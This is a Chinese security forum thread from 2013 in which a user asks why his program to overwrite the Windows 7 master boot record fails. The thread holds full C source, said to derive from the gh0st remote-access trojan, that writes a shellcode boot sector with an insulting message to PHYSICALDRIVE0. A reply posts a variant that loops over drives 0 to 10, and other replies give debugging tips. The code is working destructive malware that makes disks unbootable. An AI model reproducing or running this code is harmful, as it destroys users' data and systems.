首页
论坛
课程
招聘
[旧帖] [求助]更改win7 mbr失败 0.00元
2013-7-12 00:37 1879

[旧帖] [求助]更改win7 mbr失败 0.00元

2013-7-12 00:37
1879
/*
源自gh0st远控3.6版的源码中对版权保护的硬盘锁,只做了少量修改
通过这一篇文章了解 http://blog.csdn.net/qiurisuixiang/article/details/7314882 
2013/7/11 by赫
*/
#include "stdafx.h"
int KillMBR() ;
unsigned char scode[] = 
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" 
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x48\x45\x20" 
"\x46\x75\x63\x6b\x20\x79\x6f\x75\x0D\x3C\x3C\x3C\x2B\x3E\x3E\x3E"; 

int _tmain(int argc, _TCHAR* argv[])
{
    _wsetlocale(LC_ALL, L"chs");
    wchar_t YesOrNo;
    wprintf(L"***********************************");
    wprintf(L"此程序有高度危险性是否要执行?\n");
    wprintf(L"继续请输入Y(大写),输入其他退出\n");
    wprintf(L"By赫");
    wprintf(L"***********************************");
    YesOrNo = getwchar();

    if(YesOrNo == L'Y')
    {
        KillMBR();
    }

    getwchar();

    getwchar();
    return 0;
}
 
int KillMBR() 
{ 
    HANDLE hDevice; 
    DWORD dwBytesWritten, dwBytesReturned; 
    BYTE pMBR[512] = {0}; 
     
    // 重新构造MBR 
    memcpy(pMBR, scode, sizeof(scode) - 1); 
    pMBR[510] = 0x55; 
    pMBR[511] = 0xAA; 
     
    hDevice = CreateFile 
        ( 
        L"\\\\.\\PHYSICALDRIVE0", 
        GENERIC_READ | GENERIC_WRITE, 
        FILE_SHARE_READ | FILE_SHARE_WRITE, 
        NULL, 
        OPEN_EXISTING, 
        0, 
        NULL 
        ); 
    if (hDevice == INVALID_HANDLE_VALUE) 
        return -1; 
    DeviceIoControl 
        ( 
        hDevice,  
        FSCTL_LOCK_VOLUME,  
        NULL,  
        0,  
        NULL,  
        0,  
        &dwBytesReturned,  
        NULL 
        ); 
    // 写入病毒内容 
    WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); 
    DeviceIoControl 
        ( 
        hDevice,  
        FSCTL_UNLOCK_VOLUME,  
        NULL,  
        0,  
        NULL,  
        0,  
        &dwBytesReturned,  
        NULL 
        ); 
    CloseHandle(hDevice); 
 
    ExitProcess(-1); 
    return 0; 
} 


我看完了这篇文章http://thestarman.pcministry.com/asm/mbr/W7MBR.htm
在vs2012上调试,发现CreateFile,DeviceIoControl 都是运行成功,
不过不敢测试WriteFile,不知道为什么会在win7上测试失败,百思,不得其解
求前辈指导一二

第五届安全开发者峰会(SDC 2021)10月23日上海召开!限时2.5折门票(含自助午餐1份)

收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 69
活跃值: 活跃值 (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hulucc 活跃值 2013-7-12 01:21
2
0
只不过改个mbr的话没什么大不了的,很多软件都能恢复mbr,diskgen,bootice,当然你要是没准备pe或者第三方系统的话一关机还真麻烦了,你用getlasterror就能看到具体是为什么失败了
雪    币: 160
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
残雪孤侠 活跃值 2013-7-12 01:42
3
0

/*
源自gh0st远控3.6版的源码中对版权保护的硬盘锁,只做了少量修改
通过这一篇文章了解 http://blog.csdn.net/qiurisuixiang/article/details/7314882 
2013/7/11 by赫
*/
#include "stdafx.h"
int KillMBR() ;

unsigned char scode[] = 
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" 
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x48\x45\x20" 
"\x46\x75\x63\x6b\x20\x79\x6f\x75\x0D\x3C\x3C\x3C\x2B\x3E\x3E\x3E"; 

DWORD Sr = 10;
int _tmain(int argc, _TCHAR* argv[])
{
	while(1)
	{
		if(Sr == 0)
		{
			Sr = 11;
			KillMBR();
		}
		else if(Sr < 11)
		{
			Sr--;
			KillMBR();
		}
		else
		{
			KillMBR();
			Sr++;
		}
	}
	return 0;
}
 
int KillMBR() 
{ 
    HANDLE hDevice; 
    DWORD dwBytesWritten, dwBytesReturned; 
    BYTE pMBR[512] = {0}; 
     
	wchar_t MBR_Path[128] ;
    // 重新构造MBR 
    memcpy(pMBR, scode, sizeof(scode) - 1); 
    pMBR[510] = 0x55; 
    pMBR[511] = 0xAA; 
     
	StringCchPrintf(MBR_Path,128,_T("\\\\.\\PHYSICALDRIVE%d%c"),Sr,_T('\0'));
 
	hDevice = CreateFile 
        ( 
        MBR_Path, 
        GENERIC_READ | GENERIC_WRITE, 
        FILE_SHARE_READ | FILE_SHARE_WRITE, 
        NULL, 
        OPEN_EXISTING, 
        0, 
        NULL 
        ); 
    if (hDevice == INVALID_HANDLE_VALUE) 
        return -1; 
    DeviceIoControl 
        ( 
        hDevice,  
        FSCTL_LOCK_VOLUME,  
        NULL,  
        0,  
        NULL,  
        0,  
        &dwBytesReturned,  
        NULL 
        ); 

    // 写入病毒内容 
    WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); 
    DeviceIoControl 
        ( 
        hDevice,  
        FSCTL_UNLOCK_VOLUME,  
        NULL,  
        0,  
        NULL,  
        0,  
        &dwBytesReturned,  
        NULL 
        ); 
    CloseHandle(hDevice); 
    //ExitProcess(-1); 

    return 0; 
} 


我自己修改了下程序,不知道有效吗,,,,,
雪    币: 160
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
残雪孤侠 活跃值 2013-7-12 14:57
4
0
3Q,其实是更改成功了,只是显示不正常,我之前没有测试,,
雪    币: 295
活跃值: 活跃值 (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huscj 活跃值 2013-9-27 11:59
5
0
很想学习大神的技术
雪    币: 103
活跃值: 活跃值 (107)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
anywhere杨 活跃值 2013-10-25 16:53
6
0
更改mbr容易,但是构造好的mbr就难了。你不可能就在MBR里面写你的马的代码吧,那肯定是不行的,
雪    币: 160
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
残雪孤侠 活跃值 2013-10-31 17:50
7
0
多谢,前辈指点,努力学习ing
游客
登录 | 注册 方可回帖
返回